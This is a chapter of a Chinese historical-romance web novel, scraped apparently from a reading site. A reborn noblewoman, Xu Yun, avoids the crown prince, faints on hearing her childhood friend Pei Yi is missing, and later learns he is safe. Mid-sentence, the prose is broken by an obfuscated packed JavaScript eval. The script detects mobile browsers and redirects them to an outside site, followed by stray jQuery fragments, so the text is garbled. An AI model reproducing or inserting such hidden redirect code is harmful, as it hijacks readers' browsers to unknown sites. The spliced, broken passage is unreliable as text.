默认冷灰
24号文字
方正启体

9. 第九章

作者:白纸墙本书字数:K更新时间:
    如今已是五月,微风和煦。


    一阵寒意从脚底油然而生,许韵颤栗着身子,身侧的手指不由地蜷曲着,脸色泛白。


    “这位姑娘身体可有何不适?”


    男子一身四爪蟒袍,黑衣金边,头戴金色玉冠,整个人温文儒雅如天上玉,正关切地回望着她。


    若不知晓他真正的面目,许韵恐怕真要被这副伪装的面孔给欺骗了去。


    满府痛苦悲戚的哀嚎声在脑海中回响,许韵情绪一时失控,双膝发软肩膀往小灵身旁靠了一下,正好错开了前方伸来的手。


    她垂下眼睫收起所有的思绪:“臣女身子不适,还请太子殿下恕罪。”


    赵允收回欲搀扶她的手,神色有些尴尬,“无妨,你是如何认出孤的?”


    刚才心绪一时错乱,她情急之下竟直接道出了他的身份。


    许韵手揉着太阳穴,作出一副弱不禁风的模样,语气微弱,似乎下一瞬就要断掉那口气息:“在这宫中能穿着蟒袍的人,当然是殿下您了。”


    眼见她身体不适,赵允若有所思地点了点头,吩咐身边的侍从道:“送这位小姐出宫,切勿怠慢。”


    许韵装模作样地欠了下身子,挠了一下小灵的手掌心,在丫鬟搀扶下头也不回地走掉了。


    待走出宫门,小灵心中有许多疑惑,却只是挑拣了个最不易错的问题:“小姐,太子殿下似乎认识你?”


    刚才的虚弱乏力虽有一半是假装的,但另一半是真的被惊吓到,心底没由来地涌上阵阵恐惧。


    她顺了顺胸口,神色冷淡,并未直接回应:“别忘了,五公主可是他一母同胞的妹妹。”


    稽胡人的事情还没有查清楚,赵允现在应该在禁足中,竟然堂而皇之出现在她出入阮霞宫的必经之路上。


    还在她多活一世,连心眼子都多长了不少。


    看来大阑寺没有按计划接近她,暗的行不通,现在直接利用五公主来明的了。


    许韵回到旬国公府时天色还大亮着,府门敞开,门口停着一辆马车,看样子是官宦人家的车驾,有些眼熟只是样式略微简单了些。


    小厮见到自家小姐,上前恭敬地行了个礼,见她眼神瞥向那驾马车,不等她开口询问便主动说道:“小姐您回来了,国公爷正跟越远侯在书房议事呢。”


    “父亲何时回府的?”


    小厮:“一个时辰前,和侯爷一起回来的。”


    今日旬国公被急召入宫,按照平常定是一天内回不来的,今日竟还早早地回了府。


    自两个孩子长发后,越远侯也减少了明面上和旬国公的来往,许久未曾登门拜访,她竟一时间没有认出越远侯府的车驾。


    她提起裙摆冲向书房,神色凝重焦急,经过洒扫的老奴时还碰洒了一箩筐的枯叶,惊呆了背后的一众下人。


    若不是亲眼所见,他们哪能猜到这风风火火的背影是平日那个低声细语,连走路姿势都万分讲究的小姐。


    书房的大门被一把推开,两双目光同时投向来人,一个诧异非常,一个面色铁青。


    “许韵,成何体统!”


    “扑通”一声,许韵干脆利落地跪在地上,额上冒出一层薄汗,朝着上座的男人望去,“爹,裴叔叔。”


    她顾不得喘口气,声音发抖,“他是不是出事了?”


    两个男人对视一眼,自然知晓许韵口中的‘他’是谁。


    裴实甫微微叹了口气,起身扶起她,面容憔悴,一点也不像那个征战沙场的大将军。


    “阿韵,今日淮安的信报传来,熠儿一行人遭到了稽胡死士的埋伏,虽然救援及时,但是死伤了大半人,熠儿也掉下悬崖失踪了。”


    裴熠一出事,白星就将消息快马加鞭地传回了京城,只是路程遥远,离事发当日已经过去了三四日的时间。


    越远侯在听闻裴熠失踪后心急如焚,只恨不得亲自奔向淮安,早已派了几队亲兵前往。


    来回路途遥远,消息闭塞有着时间差,现在具体情况如何也不能确定,也只能耐心等着消息。


    男子毫无生气躺在棺材中的样子赫然浮现在眼前,许韵眼眶酸涩,身子瘫软在地,低声喃喃道:“不会的。”


    他不会出事的,她才重生回来不久,还没有见过他一面。他前世在两年后才出事,现在不可能会死的,不会的……


    “阿韵!阿韵……”


    一股腥热涌上心头,许韵两眼发黑,呼吸微滞,只觉整个身体失去了控制,不由自主地向前倾倒去。


    失去意识前,她只听到父亲和裴叔叔焦急地叫喊还有门口小灵的哽咽。


    “轰隆隆”的一声巨响,耳畔传来阵阵细弱的抽泣声,像蚊虫一样一直萦绕在四周,许韵毫无意识地皱了下眉。


    她缓缓睁开双眼,半晌才转动了下眼珠,环顾了圈四周,一颗心暗自放下来,这是自己的闺房无疑。


    屋内视线昏暗,许韵花了许久才看清床边还坐着一个人,正是王氏。


    妇人微弱的抽泣声再次响起,一只手摩挲着她的手指,一只手拿帕子默默擦拭着眼泪。


    “母亲哭什么?”


    那哭声猛地一停,空气中都仿佛安静了不少,只是有些许沉闷。


    王氏又擦了几下眼角,语气激动,“阿韵,你可算清醒了,你都昏睡了整整三日……”


    说着说着,她眼角的泪水又如断线般地掉落下来,就差将整张手帕打湿。


    许韵昏迷前还呕出了一口血来,王氏听闻差点昏厥过去,只得日夜守在她的床边,一刻也不曾离开。


    大夫说这孩子近日应是接连受到了极大的刺激,一时气急攻心,这才昏迷了过去,只要醒来问题就不大,日后需要放宽心些。


    屋子昏暗,刚刚醒来许韵头脑还有些迷糊,以为自己的视线出现了幻觉,伸出手摸了摸王氏的脸:“母亲,为何天色暗了还不点灯?”


    王氏瞧了眼窗外,连忙吩咐小灵进屋将烛火点上:“现在才申时,今日估计要下大雨,天色也就暗早了些。”


    现在刚入初夏,一般还有一个时辰天色才会变暗。


    不过外面乌云密布,天色暗淡无光,也怪不得许韵以为已经天黑了。


    窗外忽然疾风呼啸,偶尔还有雷声轰响,指不定下一秒就下起大雨来。


    小灵点燃烛芯,这才走到床前望着许韵,眼眶通红,像一只小白兔,背地里不知道哭了多少次。


    许相旬夫妇私底下问过侍女,许韵这几日可有何不对劲的事情发生。


    小灵隐去见到太子一事,一五一十地告知了去越远侯府送信以及宴会上发生的各种事情。


    同为女子,王氏心思到底要细腻些。


    她敏锐地察觉到,女儿大概


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811070|175238||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是在宴会上被恶意侮辱受了气,又听到裴熠失踪的消息,因为过于担心这才一时郁结于心。


    回想起大阑寺和光大师的一番指点,王氏似乎更加明白了大师未戳破的缘由。


    她委屈地向男人控诉道:“我只求女儿平安无事地度过一生,我就算拼了这把老骨头也会护着她。从今往后她爱做什么做什么,都不要拘束着她,难不成你一个旬国公还要靠女儿来给你挣脸面?”


    许相旬将妻子搂入怀中,铁汉也受不了心爱之人的哭泣,露出一副柔情的笑容,轻声安慰道:“夫人放心,我自不会让阿韵受委屈。那些人就是羡慕嫉妒我们阿韵,才这般刁难戏弄她。”


    记得有一次许韵五岁时,趁着王氏睡着后偷偷爬出墙去玩,被发现后,他劈头盖脸批评了小女孩一通。


    看着墙角比她高一个脑袋的裴熠,他收了家法,口头上再三警告了几句。


    别人家的孩子再如何亲近也打不得,总不能连带着打越远侯那老家伙的脸面。


    小女孩睡眼惺忪地揉着双眼,眼睫上还挂着豆大的泪珠,嘀嘀嗒嗒地小声抽泣着,看着好不可怜。


    从那以后许韵再也没有偷偷出去玩过,像是被下发了禁令,把其中一个自己也关闭在了其中,事事听着父母的教导。


    许相旬轻声叹了口气,他和妻子只有这么一个宝贝女儿,自是希望她凡事做到最好,不辱名门闺秀的名声,莫要丢了旬国公府的脸面。


    妻子的泪水打湿了他的衣襟,也逐渐将他从迷雾中唤醒。


    是啊,他堂堂旬国公,难不成非要靠着女儿挣脸面?


    许韵看着眼前眼尾发红的两人,忍不住想要笑出声来。顷刻间,她忽然想起了什么,嘴角的笑意消失殆尽。


    女儿的一言一行都印在王氏的眼中,她拍了拍许韵的手背,温柔地劝说着:“阿韵不要担心了,昨日淮安新来了信件,裴熠被一游医所救,已经平安回了县衙。”


    心中所想被王氏就这样水灵灵地说出口,许韵有些不知所措,但总归是个好消息。


    她讪讪地点了点头:“那就好。”


    心底的一块巨石放下,由于身体有些虚弱,她勉力地扯了下嘴角,又安慰了王氏几句,这才将人劝回屋歇息。


    王氏走后,许韵让小灵取来纸笔,准备写一封信寄去淮安询问一下具体的状况。


    没有见到人之前,她心中总是落空不安,非得自己亲自求证才能安心。


    小灵应声去书桌上取来纸笔,又搬来一方小桌子,正忙活之时忽闻窗外雷声大作。


    刚刚有一声没一声的雷声惯耳,开始剧烈起来,仿佛响彻在耳边,雷电马上要劈到身上一样骇人。


    刹那间,泼天的雨水如盆般倒下,豆大的雨点砸在屋檐和走廊上。


    屋内烛火摇曳,被门口灌进来的冷风吹得只剩下一小簇火苗。


    小灵放下小桌子,起身走向门外:“小姐等一下,奴婢去关上房门,免得雨水飘进来。”


    许韵撑起身子,半靠在身后的软枕上,专心致志地提起笔开始写信,并未抬头。


    笔尖微顿,笔下刚写好的二字被墨迹晕染开来,勾勒出一条深深的墨痕。


    她看着白纸上的那个名字,耳边回荡着门口丫鬟的惊呼声,手中的笔倏然间掉落。


    “小……小侯爷!你怎么在这?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)